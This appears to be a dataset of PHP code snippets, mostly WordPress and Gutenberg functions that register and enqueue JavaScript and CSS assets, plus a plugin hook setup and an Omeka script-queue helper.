"function gutenberg_register_scripts_and_styles() {\n\tgutenberg_register_vendor_scripts();\n\n\tregister_tinymce_scripts();\n\n\twp_register_script(\n\t\t'wp-url',\n\t\tgutenberg_url( 'build/url/index.js' ),\n\t\tarray(),\n\t\tfilemtime( gutenberg_dir_path() . 'build/url/index.js' ),\n\t\ttrue\n\t);\n\twp_register_script(\n\t\t'wp-autop',\n\t\tgutenberg_url( 'build/autop/index.js' ),\n\t\tarray(),\n\t\tfilemtime( gutenberg_dir_path() . 'build/autop/index.js' ),\n\t\ttrue\n\t);\n\twp_register_script(\n\t\t'wp-wordcount',\n\t\tgutenberg_url( 'build/wordcount/index.js' ),\n\t\tarray(),\n\t\tfilemtime( gutenberg_dir_path() . 'build/wordcount/index.js' ),\n\t\ttrue\n\t);\n\twp_register_script(\n\t\t'wp-dom-ready',\n\t\tgutenberg_url( 'build/dom-ready/index.js' ),\n\t\tarray(),\n\t\tfilemtime( gutenberg_dir_path() . 'build/dom-ready/index.js' ),\n\t\ttrue\n\t);\n\twp_register_script(\n\t\t'wp-a11y',\n\t\tgutenberg_url( 'build/a11y/index.js' ),\n\t\tarray( 'wp-dom-ready' ),\n\t\tfilemtime( gutenberg_dir_path() . 'build/a11y/index.js' ),\n\t\ttrue\n\t);\n\twp_register_script(\n\t\t'wp-hooks',\n\t\tgutenberg_url( 'build/hooks/index.js' ),\n\t\tarray(),\n\t\tfilemtime( gutenberg_dir_path() . 'build/hooks/index.js' ),\n\t\ttrue\n\t);\n\twp_register_script(\n\t\t'wp-i18n',\n\t\tgutenberg_url( 'build/i18n/index.js' ),\n\t\tarray(),\n\t\tfilemtime( gutenberg_dir_path() . 'build/i18n/index.js' ),\n\t\ttrue\n\t);\n\twp_register_script(\n\t\t'wp-is-shallow-equal',\n\t\tgutenberg_url( 'build/is-shallow-equal/index.js' ),\n\t\tarray(),\n\t\tfilemtime( gutenberg_dir_path() . 'build/is-shallow-equal/index.js' ),\n\t\ttrue\n\t);\n\twp_register_script(\n\t\t'wp-token-list',\n\t\tgutenberg_url( 'build/token-list/index.js' ),\n\t\tarray( 'lodash' ),\n\t\tfilemtime( gutenberg_dir_path() . 'build/token-list/index.js' ),\n\t\ttrue\n\t);\n\n\t// Editor Scripts.\n\twp_register_script(\n\t\t'wp-api-fetch',\n\t\tgutenberg_url( 'build/api-fetch/index.js' ),\n\t\tarray( 'wp-hooks', 'wp-i18n' ),\n\t\tfilemtime( gutenberg_dir_path() . 'build/api-fetch/index.js' ),\n\t\ttrue\n\t);\n\twp_add_inline_script(\n\t\t'wp-api-fetch',\n\t\tgutenberg_get_script_polyfill(\n\t\t\tarray(\n\t\t\t\t'\\'Promise\\' in window' => 'wp-polyfill-promise',\n\t\t\t\t'\\'fetch\\' in window' => 'wp-polyfill-fetch',\n\t\t\t)\n\t\t),\n\t\t'before'\n\t);\n\twp_add_inline_script(\n\t\t'wp-api-fetch',\n\t\tsprintf(\n\t\t\t'wp.apiFetch.use( wp.apiFetch.createNonceMiddleware( \"%s\" ) );',\n\t\t\t( wp_installing() && ! is_multisite() ) ? '' : wp_create_nonce( 'wp_rest' )\n\t\t),\n\t\t'after'\n\t);\n\twp_add_inline_script(\n\t\t'wp-api-fetch',\n\t\tsprintf(\n\t\t\t'wp.apiFetch.use( wp.apiFetch.createRootURLMiddleware( \"%s\" ) );',\n\t\t\tesc_url_raw( get_rest_url() )\n\t\t),\n\t\t'after'\n\t);\n\n\twp_register_script(\n\t\t'wp-deprecated',\n\t\tgutenberg_url( 'build/deprecated/index.js' ),\n\t\tarray( 'wp-hooks' ),\n\t\tfilemtime( gutenberg_dir_path() . 'build/deprecated/index.js' ),\n\t\ttrue\n\t);\n\twp_register_script(\n\t\t'wp-blob',\n\t\tgutenberg_url( 'build/blob/index.js' ),\n\t\tarray(),\n\t\tfilemtime( gutenberg_dir_path() . 'build/blob/index.js' ),\n\t\ttrue\n\t);\n\twp_register_script(\n\t\t'wp-compose',\n\t\tgutenberg_url( 'build/compose/index.js' ),\n\t\tarray( 'wp-element', 'wp-is-shallow-equal', 'lodash' ),\n\t\tfilemtime( gutenberg_dir_path() . 'build/compose/index.js' ),\n\t\ttrue\n\t);\n\twp_register_script(\n\t\t'wp-keycodes',\n\t\tgutenberg_url( 'build/keycodes/index.js' ),\n\t\tarray( 'lodash' ),\n\t\tfilemtime( gutenberg_dir_path() . 'build/keycodes/index.js' ),\n\t\ttrue\n\t);\n\twp_register_script(\n\t\t'wp-html-entities',\n\t\tgutenberg_url( 'build/html-entities/index.js' ),\n\t\tarray(),\n\t\tfilemtime( gutenberg_dir_path() . 'build/html-entities/index.js' ),\n\t\ttrue\n\t);\n\twp_register_script(\n\t\t'wp-data',\n\t\tgutenberg_url( 'build/data/index.js' ),\n\t\tarray(\n\t\t\t'wp-element',\n\t\t\t'wp-compose',\n\t\t\t'wp-is-shallow-equal',\n\t\t\t'lodash',\n\t\t\t'wp-redux-routine',\n\t\t),\n\t\tfilemtime( gutenberg_dir_path() . 'build/data/index.js' ),\n\t\ttrue\n\t);\n\twp_add_inline_script(\n\t\t'wp-data',\n\t\timplode(\n\t\t\t\"\\n\",\n\t\t\tarray(\n\t\t\t\t'( function() {',\n\t\t\t\t'\tvar userId = window.userSettings.uid;',\n\t\t\t\t'\tvar storageKey = \"WP_DATA_USER_\" + userId;',\n\t\t\t\t'\twp.data',\n\t\t\t\t'\t\t.use( wp.data.plugins.persistence, { storageKey: storageKey } )',\n\t\t\t\t'\t\t.use( wp.data.plugins.controls );',\n\t\t\t\t'} )()',\n\t\t\t)\n\t\t)\n\t);\n\twp_register_script(\n\t\t'wp-core-data',\n\t\tgutenberg_url( 'build/core-data/index.js' ),\n\t\tarray( 'wp-data', 'wp-api-fetch', 'wp-url', 'lodash' ),\n\t\tfilemtime( gutenberg_dir_path() . 'build/core-data/index.js' ),\n\t\ttrue\n\t);\n\twp_register_script(\n\t\t'wp-dom',\n\t\tgutenberg_url( 'build/dom/index.js' ),\n\t\tarray( 'wp-tinymce', 'lodash' ),\n\t\tfilemtime( gutenberg_dir_path() . 'build/dom/index.js' ),\n\t\ttrue\n\t);\n\twp_register_script(\n\t\t'wp-block-serialization-spec-parser',\n\t\tgutenberg_url( 'build/block-serialization-spec-parser/index.js' ),\n\t\tarray(),\n\t\tfilemtime( gutenberg_dir_path() . 'build/block-serialization-spec-parser/index.js' ),\n\t\ttrue\n\t);\n\twp_add_inline_script(\n\t\t'wp-dom',\n\t\tgutenberg_get_script_polyfill(\n\t\t\tarray(\n\t\t\t\t'document.contains' => 'wp-polyfill-node-contains',\n\t\t\t)\n\t\t),\n\t\t'before'\n\t);\n\twp_register_script(\n\t\t'wp-shortcode',\n\t\tgutenberg_url( 'build/shortcode/index.js' ),\n\t\tarray(),\n\t\tfilemtime( gutenberg_dir_path() . 'build/shortcode/index.js' ),\n\t\ttrue\n\t);\n\twp_register_script(\n\t\t'wp-redux-routine',\n\t\tgutenberg_url( 'build/redux-routine/index.js' ),\n\t\tarray(),\n\t\tfilemtime( gutenberg_dir_path() . 'build/redux-routine/index.js' ),\n\t\ttrue\n\t);\n\twp_register_script(\n\t\t'wp-date',\n\t\tgutenberg_url( 'build/date/index.js' ),\n\t\tarray( 'moment' ),\n\t\tfilemtime( gutenberg_dir_path() . 'build/date/index.js' ),\n\t\ttrue\n\t);\n\tglobal $wp_locale;\n\twp_add_inline_script(\n\t\t'wp-date',\n\t\tsprintf(\n\t\t\t'wp.date.setSettings( %s );',\n\t\t\twp_json_encode(\n\t\t\t\tarray(\n\t\t\t\t\t'l10n' => array(\n\t\t\t\t\t\t'locale' => get_user_locale(),\n\t\t\t\t\t\t'months' => array_values( $wp_locale->month ),\n\t\t\t\t\t\t'monthsShort' => array_values( $wp_locale->month_abbrev ),\n\t\t\t\t\t\t'weekdays' => array_values( $wp_locale->weekday ),\n\t\t\t\t\t\t'weekdaysShort' => array_values( $wp_locale->weekday_abbrev ),\n\t\t\t\t\t\t'meridiem' => (object) $wp_locale->meridiem,\n\t\t\t\t\t\t'relative' => array(\n\t\t\t\t\t\t\t/* translators: %s: duration */\n\t\t\t\t\t\t\t'future' => __( '%s from now', 'default' ),\n\t\t\t\t\t\t\t/* translators: %s: duration */\n\t\t\t\t\t\t\t'past' => __( '%s ago', 'default' ),\n\t\t\t\t\t\t),\n\t\t\t\t\t),\n\t\t\t\t\t'formats' => array(\n\t\t\t\t\t\t'time' => get_option( 'time_format', __( 'g:i a', 'default' ) ),\n\t\t\t\t\t\t'date' => get_option( 'date_format', __( 'F j, Y', 'default' ) ),\n\t\t\t\t\t\t'datetime' => __( 'F j, Y g:i a', 'default' ),\n\t\t\t\t\t),\n\t\t\t\t\t'timezone' => array(\n\t\t\t\t\t\t'offset' => get_option( 'gmt_offset', 0 ),\n\t\t\t\t\t\t'string' => get_option( 'timezone_string', 'UTC' ),\n\t\t\t\t\t),\n\t\t\t\t)\n\t\t\t)\n\t\t),\n\t\t'after'\n\t);\n\twp_register_script(\n\t\t'wp-element',\n\t\tgutenberg_url( 'build/element/index.js' ),\n\t\tarray( 'react', 'react-dom', 'lodash' ),\n\t\tfilemtime( gutenberg_dir_path() . 'build/element/index.js' ),\n\t\ttrue\n\t);\n\twp_register_script(\n\t\t'wp-components',\n\t\tgutenberg_url( 'build/components/index.js' ),\n\t\tarray(\n\t\t\t'lodash',\n\t\t\t'moment',\n\t\t\t'wp-a11y',\n\t\t\t'wp-api-fetch',\n\t\t\t'wp-compose',\n\t\t\t'wp-deprecated',\n\t\t\t'wp-dom',\n\t\t\t'wp-element',\n\t\t\t'wp-hooks',\n\t\t\t'wp-html-entities',\n\t\t\t'wp-i18n',\n\t\t\t'wp-is-shallow-equal',\n\t\t\t'wp-keycodes',\n\t\t\t'wp-url',\n\t\t),\n\t\tfilemtime( gutenberg_dir_path() . 'build/components/index.js' ),\n\t\ttrue\n\t);\n\twp_add_inline_script(\n\t\t'wp-components',\n\t\tsprintf( 'wp.components.unstable__setSiteURL(%s);', json_encode( site_url() ) )\n\t);\n\twp_register_script(\n\t\t'wp-blocks',\n\t\tgutenberg_url( 'build/blocks/index.js' ),\n\t\tarray(\n\t\t\t'wp-autop',\n\t\t\t'wp-blob',\n\t\t\t'wp-block-serialization-spec-parser',\n\t\t\t'wp-data',\n\t\t\t'wp-deprecated',\n\t\t\t'wp-dom',\n\t\t\t'wp-element',\n\t\t\t'wp-hooks',\n\t\t\t'wp-i18n',\n\t\t\t'wp-is-shallow-equal',\n\t\t\t'wp-shortcode',\n\t\t\t'lodash',\n\t\t),\n\t\tfilemtime( gutenberg_dir_path() . 'build/blocks/index.js' ),\n\t\ttrue\n\t);\n\n\twp_add_inline_script(\n\t\t'wp-blocks',\n\t\tgutenberg_get_script_polyfill(\n\t\t\tarray(\n\t\t\t\t'\\'Promise\\' in window' => 'wp-polyfill-promise',\n\t\t\t)\n\t\t),\n\t\t'before'\n\t);\n\twp_register_script(\n\t\t'wp-viewport',\n\t\tgutenberg_url( 'build/viewport/index.js' ),\n\t\tarray( 'wp-element', 'wp-data', 'wp-compose', 'lodash' ),\n\t\tfilemtime( gutenberg_dir_path() . 'build/viewport/index.js' ),\n\t\ttrue\n\t);\n\twp_register_script(\n\t\t'wp-block-library',\n\t\tgutenberg_url( 'build/block-library/index.js' ),\n\t\tarray(\n\t\t\t'editor',\n\t\t\t'lodash',\n\t\t\t'moment',\n\t\t\t'wp-api-fetch',\n\t\t\t'wp-autop',\n\t\t\t'wp-blob',\n\t\t\t'wp-blocks',\n\t\t\t'wp-components',\n\t\t\t'wp-compose',\n\t\t\t'wp-data',\n\t\t\t'wp-core-data',\n\t\t\t'wp-editor',\n\t\t\t'wp-element',\n\t\t\t'wp-html-entities',\n\t\t\t'wp-i18n',\n\t\t\t'wp-keycodes',\n\t\t\t'wp-url',\n\t\t\t'wp-viewport',\n\t\t),\n\t\tfilemtime( gutenberg_dir_path() . 'build/block-library/index.js' ),\n\t\ttrue\n\t);\n\t// Remove it with 3.8.0 release.\n\twp_register_script(\n\t\t'wp-core-blocks',\n\t\tgutenberg_url( 'build/core-blocks/index.js' ),\n\t\tarray(\n\t\t\t'wp-block-library',\n\t\t\t'wp-deprecated',\n\t\t),\n\t\tfilemtime( gutenberg_dir_path() . 'build/core-blocks/index.js' ),\n\t\ttrue\n\t);\n\twp_register_script(\n\t\t'wp-nux',\n\t\tgutenberg_url( 'build/nux/index.js' ),\n\t\tarray( 'wp-element', 'wp-components', 'wp-compose', 'wp-data', 'wp-i18n', 'lodash' ),\n\t\tfilemtime( gutenberg_dir_path() . 'build/nux/index.js' ),\n\t\ttrue\n\t);\n\t// Loading the old editor and its config to ensure the classic block works as expected.\n\twp_add_inline_script(\n\t\t'editor',\n\t\t'window.wp.oldEditor = window.wp.editor;',\n\t\t'after'\n\t);\n\t$tinymce_settings = apply_filters(\n\t\t'tiny_mce_before_init',\n\t\tarray(\n\t\t\t'plugins' => implode(\n\t\t\t\t',',\n\t\t\t\tarray_unique(\n\t\t\t\t\tapply_filters(\n\t\t\t\t\t\t'tiny_mce_plugins',\n\t\t\t\t\t\tarray(\n\t\t\t\t\t\t\t'charmap',\n\t\t\t\t\t\t\t'colorpicker',\n\t\t\t\t\t\t\t'hr',\n\t\t\t\t\t\t\t'lists',\n\t\t\t\t\t\t\t'media',\n\t\t\t\t\t\t\t'paste',\n\t\t\t\t\t\t\t'tabfocus',\n\t\t\t\t\t\t\t'textcolor',\n\t\t\t\t\t\t\t'fullscreen',\n\t\t\t\t\t\t\t'wordpress',\n\t\t\t\t\t\t\t'wpautoresize',\n\t\t\t\t\t\t\t'wpeditimage',\n\t\t\t\t\t\t\t'wpemoji',\n\t\t\t\t\t\t\t'wpgallery',\n\t\t\t\t\t\t\t'wplink',\n\t\t\t\t\t\t\t'wpdialogs',\n\t\t\t\t\t\t\t'wptextpattern',\n\t\t\t\t\t\t\t'wpview',\n\t\t\t\t\t\t)\n\t\t\t\t\t)\n\t\t\t\t)\n\t\t\t),\n\t\t\t'toolbar1' => implode(\n\t\t\t\t',',\n\t\t\t\tarray_merge(\n\t\t\t\t\tapply_filters(\n\t\t\t\t\t\t'mce_buttons',\n\t\t\t\t\t\tarray(\n\t\t\t\t\t\t\t'formatselect',\n\t\t\t\t\t\t\t'bold',\n\t\t\t\t\t\t\t'italic',\n\t\t\t\t\t\t\t'bullist',\n\t\t\t\t\t\t\t'numlist',\n\t\t\t\t\t\t\t'blockquote',\n\t\t\t\t\t\t\t'alignleft',\n\t\t\t\t\t\t\t'aligncenter',\n\t\t\t\t\t\t\t'alignright',\n\t\t\t\t\t\t\t'link',\n\t\t\t\t\t\t\t'unlink',\n\t\t\t\t\t\t\t'wp_more',\n\t\t\t\t\t\t\t'spellchecker',\n\t\t\t\t\t\t),\n\t\t\t\t\t\t'editor'\n\t\t\t\t\t),\n\t\t\t\t\tarray( 'kitchensink' )\n\t\t\t\t)\n\t\t\t),\n\t\t\t'toolbar2' => implode(\n\t\t\t\t',',\n\t\t\t\tapply_filters(\n\t\t\t\t\t'mce_buttons_2',\n\t\t\t\t\tarray(\n\t\t\t\t\t\t'strikethrough',\n\t\t\t\t\t\t'hr',\n\t\t\t\t\t\t'forecolor',\n\t\t\t\t\t\t'pastetext',\n\t\t\t\t\t\t'removeformat',\n\t\t\t\t\t\t'charmap',\n\t\t\t\t\t\t'outdent',\n\t\t\t\t\t\t'indent',\n\t\t\t\t\t\t'undo',\n\t\t\t\t\t\t'redo',\n\t\t\t\t\t\t'wp_help',\n\t\t\t\t\t),\n\t\t\t\t\t'editor'\n\t\t\t\t)\n\t\t\t),\n\t\t\t'toolbar3' => implode( ',', apply_filters( 'mce_buttons_3', array(), 'editor' ) ),\n\t\t\t'toolbar4' => implode( ',', apply_filters( 'mce_buttons_4', array(), 'editor' ) ),\n\t\t\t'external_plugins' => apply_filters( 'mce_external_plugins', array() ),\n\t\t),\n\t\t'editor'\n\t);\n\tif ( isset( $tinymce_settings['style_formats'] ) && is_string( $tinymce_settings['style_formats'] ) ) {\n\t\t// Decode the options as we used to recommende json_encoding the TinyMCE settings.\n\t\t$tinymce_settings['style_formats'] = json_decode( $tinymce_settings['style_formats'] );\n\t}\n\twp_localize_script(\n\t\t'wp-block-library',\n\t\t'wpEditorL10n',\n\t\tarray(\n\t\t\t'tinymce' => array(\n\t\t\t\t'baseURL' => includes_url( 'js/tinymce' ),\n\t\t\t\t'suffix' => SCRIPT_DEBUG ? '' : '.min',\n\t\t\t\t'settings' => $tinymce_settings,\n\t\t\t),\n\t\t)\n\t);\n\n\twp_register_script(\n\t\t'wp-editor',\n\t\tgutenberg_url( 'build/editor/index.js' ),\n\t\tarray(\n\t\t\t'lodash',\n\t\t\t'tinymce-latest-lists',\n\t\t\t'wp-a11y',\n\t\t\t'wp-api-fetch',\n\t\t\t'wp-blob',\n\t\t\t'wp-blocks',\n\t\t\t'wp-components',\n\t\t\t'wp-compose',\n\t\t\t'wp-core-data',\n\t\t\t'wp-data',\n\t\t\t'wp-date',\n\t\t\t'wp-deprecated',\n\t\t\t'wp-dom',\n\t\t\t'wp-element',\n\t\t\t'wp-hooks',\n\t\t\t'wp-html-entities',\n\t\t\t'wp-i18n',\n\t\t\t'wp-is-shallow-equal',\n\t\t\t'wp-keycodes',\n\t\t\t'wp-nux',\n\t\t\t'wp-tinymce',\n\t\t\t'wp-token-list',\n\t\t\t'wp-url',\n\t\t\t'wp-viewport',\n\t\t\t'wp-wordcount',\n\t\t),\n\t\tfilemtime( gutenberg_dir_path() . 'build/editor/index.js' )\n\t);\n\n\twp_register_script(\n\t\t'wp-edit-post',\n\t\tgutenberg_url( 'build/edit-post/index.js' ),\n\t\tarray(\n\t\t\t'jquery',\n\t\t\t'lodash',\n\t\t\t'postbox',\n\t\t\t'media-models',\n\t\t\t'media-views',\n\t\t\t'wp-a11y',\n\t\t\t'wp-api-fetch',\n\t\t\t'wp-components',\n\t\t\t'wp-compose',\n\t\t\t'wp-block-library',\n\t\t\t'wp-date',\n\t\t\t'wp-data',\n\t\t\t'wp-dom-ready',\n\t\t\t'wp-editor',\n\t\t\t'wp-element',\n\t\t\t'wp-embed',\n\t\t\t'wp-i18n',\n\t\t\t'wp-keycodes',\n\t\t\t'wp-plugins',\n\t\t\t'wp-viewport',\n\t\t),\n\t\tfilemtime( gutenberg_dir_path() . 'build/edit-post/index.js' ),\n\t\ttrue\n\t);\n\twp_add_inline_script(\n\t\t'wp-edit-post',\n\t\tgutenberg_get_script_polyfill( array( 'window.FormData && window.FormData.prototype.keys' => 'wp-polyfill-formdata' ) ),\n\t\t'before'\n\t);\n\n\t// Editor Styles.\n\t// This empty stylesheet is defined to ensure backwards compatibility.\n\twp_register_style( 'wp-blocks', false );\n\n\t$fonts_url = '';\n\n\t/*\n\t * Translators: If there are characters in your language that are not supported\n\t * by Noto Serif, translate this to 'off'. Do not translate into your own language.\n\t */\n\tif ( 'off' !== _x( 'on', 'Noto Serif font: on or off', 'gutenberg' ) ) {\n\t\t$query_args = array(\n\t\t\t'family' => urlencode( 'Noto Serif:400,400i,700,700i' ),\n\t\t);\n\n\t\t$fonts_url = esc_url_raw( add_query_arg( $query_args, 'https://fonts.googleapis.com/css' ) );\n\t}\n\n\twp_register_style(\n\t\t'wp-editor-font',\n\t\t$fonts_url,\n\t\tarray(),\n\t\tnull\n\t);\n\n\twp_register_style(\n\t\t'wp-editor',\n\t\tgutenberg_url( 'build/editor/style.css' ),\n\t\tarray( 'wp-components', 'wp-editor-font', 'wp-nux' ),\n\t\tfilemtime( gutenberg_dir_path() . 'build/editor/style.css' )\n\t);\n\twp_style_add_data( 'wp-editor', 'rtl', 'replace' );\n\n\twp_register_style(\n\t\t'wp-edit-post',\n\t\tgutenberg_url( 'build/edit-post/style.css' ),\n\t\tarray( 'wp-components', 'wp-editor', 'wp-edit-blocks', 'wp-block-library', 'wp-nux' ),\n\t\tfilemtime( gutenberg_dir_path() . 'build/edit-post/style.css' )\n\t);\n\twp_style_add_data( 'wp-edit-post', 'rtl', 'replace' );\n\n\twp_register_style(\n\t\t'wp-components',\n\t\tgutenberg_url( 'build/components/style.css' ),\n\t\tarray(),\n\t\tfilemtime( gutenberg_dir_path() . 'build/components/style.css' )\n\t);\n\twp_style_add_data( 'wp-components', 'rtl', 'replace' );\n\n\twp_register_style(\n\t\t'wp-block-library',\n\t\tgutenberg_url( 'build/block-library/style.css' ),\n\t\tcurrent_theme_supports( 'wp-block-styles' ) ? array( 'wp-block-library-theme' ) : array(),\n\t\tfilemtime( gutenberg_dir_path() . 'build/block-library/style.css' )\n\t);\n\twp_style_add_data( 'wp-block-library', 'rtl', 'replace' );\n\n\twp_register_style(\n\t\t'wp-edit-blocks',\n\t\tgutenberg_url( 'build/block-library/edit-blocks.css' ),\n\t\tarray(\n\t\t\t'wp-components',\n\t\t\t'wp-editor',\n\t\t\t// Always include visual styles so the editor never appears broken.\n\t\t\t'wp-block-library-theme',\n\t\t),\n\t\tfilemtime( gutenberg_dir_path() . 'build/block-library/edit-blocks.css' )\n\t);\n\twp_style_add_data( 'wp-edit-blocks', 'rtl', 'replace' );\n\n\twp_register_style(\n\t\t'wp-nux',\n\t\tgutenberg_url( 'build/nux/style.css' ),\n\t\tarray( 'wp-components' ),\n\t\tfilemtime( gutenberg_dir_path() . 'build/nux/style.css' )\n\t);\n\twp_style_add_data( 'wp-nux', 'rtl', 'replace' );\n\n\twp_register_style(\n\t\t'wp-block-library-theme',\n\t\tgutenberg_url( 'build/block-library/theme.css' ),\n\t\tarray(),\n\t\tfilemtime( gutenberg_dir_path() . 'build/block-library/theme.css' )\n\t);\n\twp_style_add_data( 'wp-block-library-theme', 'rtl', 'replace' );\n\n\twp_register_script(\n\t\t'wp-plugins',\n\t\tgutenberg_url( 'build/plugins/index.js' ),\n\t\tarray( 'lodash', 'wp-element', 'wp-hooks', 'wp-compose' ),\n\t\tfilemtime( gutenberg_dir_path() . 'build/plugins/index.js' )\n\t);\n\n\tif ( defined( 'GUTENBERG_LIVE_RELOAD' ) && GUTENBERG_LIVE_RELOAD ) {\n\t\t$live_reload_url = ( GUTENBERG_LIVE_RELOAD === true ) ? 'http://localhost:35729/livereload.js' : GUTENBERG_LIVE_RELOAD;\n\n\t\twp_enqueue_script(\n\t\t\t'gutenberg-live-reload',\n\t\t\t$live_reload_url\n\t\t);\n\t}\n}",
"public function enqueue_scripts()\n {\n }",
"private function define_public_hooks() {\n\t\t$plugin_public = new MySuperCalendar_Public( $this->get_plugin_name() );\n\t\t$this->loader->add_action( 'wp_enqueue_scripts', $plugin_public, 'enqueue_styles' );\n\t\t$this->loader->add_action( 'wp_enqueue_scripts', $plugin_public, 'enqueue_scripts' );\n\n\n\n\t\t$this->loader->add_action( 'wp_enqueue_scripts', $plugin_public, 'calendarAjax_data', 99 );\n\n\t\t$this->loader->add_action( 'wp_ajax_nopriv_calendarAjax', $plugin_public, 'calendarAjax' );\n\t\t$this->loader->add_action( 'wp_ajax_calendarAjax', $plugin_public, 'calendarAjax' );\n\n\n\n\n\n\t}",
"public function addJavascriptFiles($js /* array */);",
"private function register_scripts_and_styles()\n\t\t\t{\n\n\t\t\t\tif( is_admin() )\n\t\t\t\t{\n\n\t\t \t\t//$this->load_file('friendly_widgets_admin_js', '/themes/'.THEMENAME.'/admin/js/widgets.js', true);\n\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{ \n\n\t\t \t\t//$this->load_file('friendly_widgets', '/themes/'.THEMENAME.'/theme_assets/js/widgets.js', true);\n\n\t\t\t\t}\n\n\t\t\t}",
"private function register_scripts_and_styles()\n\t\t\t{\n\n\t\t\t\tif( is_admin() )\n\t\t\t\t{\n\n\t\t \t\t//$this->load_file('friendly_widgets_admin_js', '/themes/'.THEMENAME.'/admin/js/widgets.js', true);\n\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{ \n\n\t\t \t\t//$this->load_file('friendly_widgets', '/themes/'.THEMENAME.'/theme_assets/js/widgets.js', true);\n\n\t\t\t\t}\n\n\t\t\t}",
"public function registerScripts()\r\n\t{\r\n\t\twp_register_style('social-shares', plugins_url('assets/social-shares.css', __FILE__));\r\n\t\twp_register_script('social-shares', plugins_url('assets/social-shares.js', __FILE__), array('jquery'), false, true);\r\n\t}",
"public function enqueue_public_scripts_and_styles() {\n\t\t//wp_enqueue_style( 'uclacomponentswp-backend-styles', UCLACOMPONENTSWP_PLUGIN_URL . 'core/includes/assets/css/backend-styles.css', array(), UCLACOMPONENTSWP_VERSION, 'all' );\n\t\t//wp_enqueue_script( 'uclacomponentswp-backend-scripts', UCLACOMPONENTSWP_PLUGIN_URL . 'core/includes/assets/js/backend-scripts.js', array(), UCLACOMPONENTSWP_VERSION, false );\n\t\t// wp_localize_script( 'uclacomponentswp-backend-scripts', 'uclacomponentswp', array(\n\t\t// \t'plugin_name' => __( UCLACOMPONENTSWP_NAME, 'ucla-components-for-wp' ),\n\t\t// ));\n\t// Install the UCLA Component library styles\n\twp_enqueue_style( 'ucla-lib-style', 'https://cdn.webcomponents.ucla.edu/1.0.0-beta.16/css/ucla-lib.min.css' );\n\t// Install the UCLA Component Library scripts\n\twp_enqueue_script( 'ucla-lib-script', 'https://s3-us-west-1.amazonaws.com/webcomponents.ucla.edu/public/1.0.0-beta.16/js/ucla-lib-scripts.min.js' );\n\t\n\t}",
"public function enqueue_scripts() {\n\t\twp_enqueue_script( $this->plugin_name, plugin_dir_url( __FILE__ ) . 'js/deeppress-public.js', array( 'jquery' ), $this->version, false );\n\n\t}",
"public function public_enqueue_scripts() {\n\n\t\twp_register_script('custom-event-polyfill', get_template_directory_uri() . '/js/polyfill/custom-event.min.js', array(), $this->version, true);\n\t\twp_register_script('promise-polyfill', get_template_directory_uri() . '/js/polyfill/promise.min.js', array(), $this->version, true);\n\t\t// wp_register_script('scroll-polyfill', get_template_directory_uri() . '/js/polyfill/smoothscroll.min.js', array(), $this->version, true);\n\n\t\twp_register_script('tinyAnimate', get_template_directory_uri() . '/js/utils/TinyAnimate.js', array(), $this->version, true);\n\t\twp_register_script('swipe', get_template_directory_uri() . '/js/utils/swipe.js', array(), $this->version, true);\n\t\twp_register_script('collection', get_template_directory_uri() . '/js/utils/collection.js', array(), $this->version, true);\n\t\twp_register_script('media-player', get_template_directory_uri() . '/js/utils/media-player.js', array('tinyAnimate', 'collection'), $this->version, true);\n\t\twp_register_script('media-player-v2', get_template_directory_uri() . '/js/utils/media-player-v2.js', array('tinyAnimate', 'collection'), $this->version, true);\n\t\twp_register_script('build', get_template_directory_uri() . '/js/utils/build.js', array(), $this->version, true);\n\t\twp_register_script('ajax', get_template_directory_uri() . '/js/utils/ajax.js', array(), $this->version, true);\n\t\twp_register_script('marquee', get_template_directory_uri() . '/js/utils/marquee.js', array(), $this->version, true);\n\t\twp_register_script('popup', get_template_directory_uri() . '/js/utils/popup.js', array('tinyAnimate'), $this->version, true);\n\t\twp_register_script('calendar', get_template_directory_uri() . '/js/utils/calendar.js', array(), $this->version, true);\n\t\twp_register_script('translation', get_template_directory_uri() . '/js/utils/translation.js', array(), $this->version, true);\n\t\twp_register_script('grid-system', get_template_directory_uri() . '/js/utils/grid-system.js', array('tinyAnimate'), $this->version, true);\n\t\twp_register_script('sticky', get_template_directory_uri() . '/js/utils/sticky.js', array(), $this->version, true);\n\t\twp_register_script('custom-dispatcher', get_template_directory_uri() . '/js/utils/custom-dispatcher.js', array(), $this->version, true);\n// \t\twp_enqueue_script('grid', get_template_directory_uri() . '/js/grid.js', array('grid-system'), $this->version, true);\n// \t\twp_enqueue_script('projects-grid', get_template_directory_uri() . '/js/projects.js', array('grid'), $this->version, true);\n// \t\twp_enqueue_script('project', get_template_directory_uri() . '/js/project.js', array('grid'), $this->version, true);\n// \t\twp_enqueue_script('image', get_template_directory_uri() . '/js/image.js', array('tinyAnimate'), $this->version, true);\n\t\t// wp_register_script('grid-slideshow', get_template_directory_uri() . '/js/grid-slideshow.js', array('media-player', 'swipe', 'build'), $this->version, true);\n\n\t\t// wp_enqueue_script('home', get_template_directory_uri() . '/js/home.js', array('grid-slideshow'), $this->version, true);\n\t\t// wp_enqueue_script('header', get_template_directory_uri() . '/js/header.js', array('popup', 'sticky', 'marquee'), $this->version, true);\n\t\t// wp_enqueue_script('single', get_template_directory_uri() . '/js/single.js', array('grid-slideshow'), $this->version, true);\n\t\t// wp_enqueue_script('bios', get_template_directory_uri() . '/js/bios.js', array('popup'), $this->version, true);\n\t\t// wp_enqueue_script('agenda', get_template_directory_uri() . '/js/agenda.js', array('popup', 'ajax', 'build', 'calendar', 'grid-slideshow'), $this->version, true);\n\t\t// wp_enqueue_script('intro', get_template_directory_uri() . '/js/intro.js', array('media-player'), $this->version, true);\n\n\t\twp_register_script('cookies', get_template_directory_uri() . '/js/utils/cookies.js', array(), $this->version, false);\n\n\t\twp_register_script('gmap', get_template_directory_uri() . '/js/utils/gmap.js', array('gmap-api'), $this->version, true);\n\n\t}",
"function queue_js_file($file, $dir = 'javascripts', $options = array(), $version = OMEKA_VERSION)\n{\n if (is_array($file)) {\n foreach ($file as $singleFile) {\n queue_js_file($singleFile, $dir, $options, $version);\n }\n return;\n }\n\n queue_js_url(src($file, $dir, 'js', $version), $options);\n}",
